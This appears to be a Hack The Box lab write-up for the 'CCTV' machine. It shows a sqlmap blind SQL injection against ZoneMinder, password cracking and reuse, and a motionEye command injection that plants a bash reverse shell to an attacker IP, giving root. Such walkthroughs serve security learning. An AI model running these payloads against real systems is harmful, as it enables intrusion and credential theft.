Description
CCTV is an easy Hack The Box machine that features:
- ZoneMinder CCTV Blind SQL Injection allows the recovery of an user credential
- Password Reuse from ZoneMinder credential to Linux User
- Privilege Escalation via motionEye Command Injection vulnerability
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.2.141.
$ ping -c 3 10.129.2.141
PING 10.129.2.141 (10.129.2.141) 56(84) bytes of data.
64 bytes from 10.129.2.141: icmp_seq=1 ttl=63 time=48.1 ms
64 bytes from 10.129.2.141: icmp_seq=2 ttl=63 time=48.7 ms
64 bytes from 10.129.2.141: icmp_seq=3 ttl=63 time=47.2 ms
--- 10.129.2.141 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.161/47.973/48.657/0.617 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.2.141 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.141
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 4.11 seconds
We find the opened 22, and 80 ports.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.2.141 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.141
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.32 seconds
We move to the web application and we add the cctv.htb host to the /etc/hosts file.
$ echo '10.129.2.141 cctv.htb' | sudo tee -a /etc/hosts
We find a website about SecureVision, a business offering CCTV monitoring. We have a button to get redirected to the staff login.
In the Staff Login we find a login of an instance of ZoneMinder, a video surveillance software system. We can login with the default credentials, with admin username and admin password.
After logging we find that the version of the application deployed, v1.37.63. We can enumerate the users registered in the system with in the Options > Users menu. We find one interesting user, mark.

Exploitation
Previous versions of ZoneMinder v1.37.64 are vulnerable to a boolean-based SQL Injection in a function of web/ajax/event.php, specifically the removetag action and the tid parameter, [CVE-2024-51482](https://www.cve.org/CVERecord?id= CVE-2024-51482). We are going to use sqlmap tool to exploit this vulnerability. We need to take note a cookie, ZMSESSID, from the browser session we used previously, as this is a authenticated vulnerability.
By reading the documentation of ZoneMinder we find that the default database name is zm and the table that stores the users information is called Users. We are going to retrieve the password columns for the mark value of Username column by using a SQL query. Ad the tag we are going to delete does not exists the server answers with errors, so we will need to use a Blind SQL Injection.
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie "ZMSESSID=5c26lc69oadun5islruur6nj7p" -p tid --dbms mysql --technique T --sql-query="SELECT Password FROM zm.Users WHERE Username='mark'"
...
[INFO] testing for SQL injection on GET parameter 'tid'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7572 FROM (SELECT(SLEEP(5)))NkOn)
---
[INFO] the back-end DBMS is MySQL
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching SQL SELECT statement query output: 'SELECT Password FROM zm.Users WHERE Username='mark''
...
SELECT Password FROM zm.Users WHERE Username='mark': '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.'
After a few minutes we find the password hash for the mark user, $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG., we crack it with John The Ripper tool, we get the opensesame password.
$ nano hash; john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
opensesame (mark)
1g 0:00:00:15 DONE 0.06447g/s 389.9p/s 389.9c/s 389.9C/s march23..coolchick
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We can use the credentials to login in the machine using the SSH protocol.
$ ssh mark@cctv.htb
mark@cctv.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
...
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
Post-Exploitation
Enumerating the opened TCP ports in the machine we find one in 8765 port, it is motionEye 0.43.1b4. motionEye is a web frontend for the motion daemon, a video surveillance program with motion detection. motionEye versions previous to 0.43.1b5 are vulnerable to RCE via unsanitized motion config parameter, CVE-2025-60787. In the vulnerability of the advisory we have instructions to exploit the vulnerability. We port-forward the port to our machine to enumerate the service.
$ ssh -N -L 8765:127.0.0.1:8765 mark@cctv.htb
We find a login prompt:
We find the credentials for the service in the /etc/motioneye/motion.conf file, with admin username and 989c5a8ee87a0e9521ec81a79187d162109282f0 password.
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
We have access to one camera.
To exploit the vulnerability we firstly need to disable some frontend checks that checks for invalid characters in fields, such as the ones used to execute commands. In Firefox browser we will use the File Override functionality. We open the Developer Tools, and then we get into the Debugger. Then we select the main.js file and with a right click we select Add Script Override.
Then we open the file we have just saved and we edit the configUiValid function to return always the true value as this:
function configUiValid() {
return true;
}
Then we refresh the web-page. To inject the malicious command we will edit the parameters in the menu Settings > Still Images. We change the Capture mode option to Inverval Snapshots and the Snapshot Interval value to 10. Then we inject the command in the Image File Name as this:
`bash -c 'bash -i >& /dev/tcp/10.10.14.137/1234 0>&1'`.%Y-%m-%d-%H-%M-%S
Then, before saving the configuration with the Apply button, we start the listening TCP port in our machine to receive the reverse shell with the nc -nvlp 1234 command. We receive the reverse shell as the root user.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.137] from (UNKNOWN) [10.129.2.141] 59982
bash: cannot set terminal process group (4127): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# id
id
uid=0(root) gid=0(root) groups=0(root)
Flags
In the root shell we can retrieve the user and root flags.
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
<REDACTED>
root@cctv:/etc/motioneye# cat /root/root.txt
<REDACTED>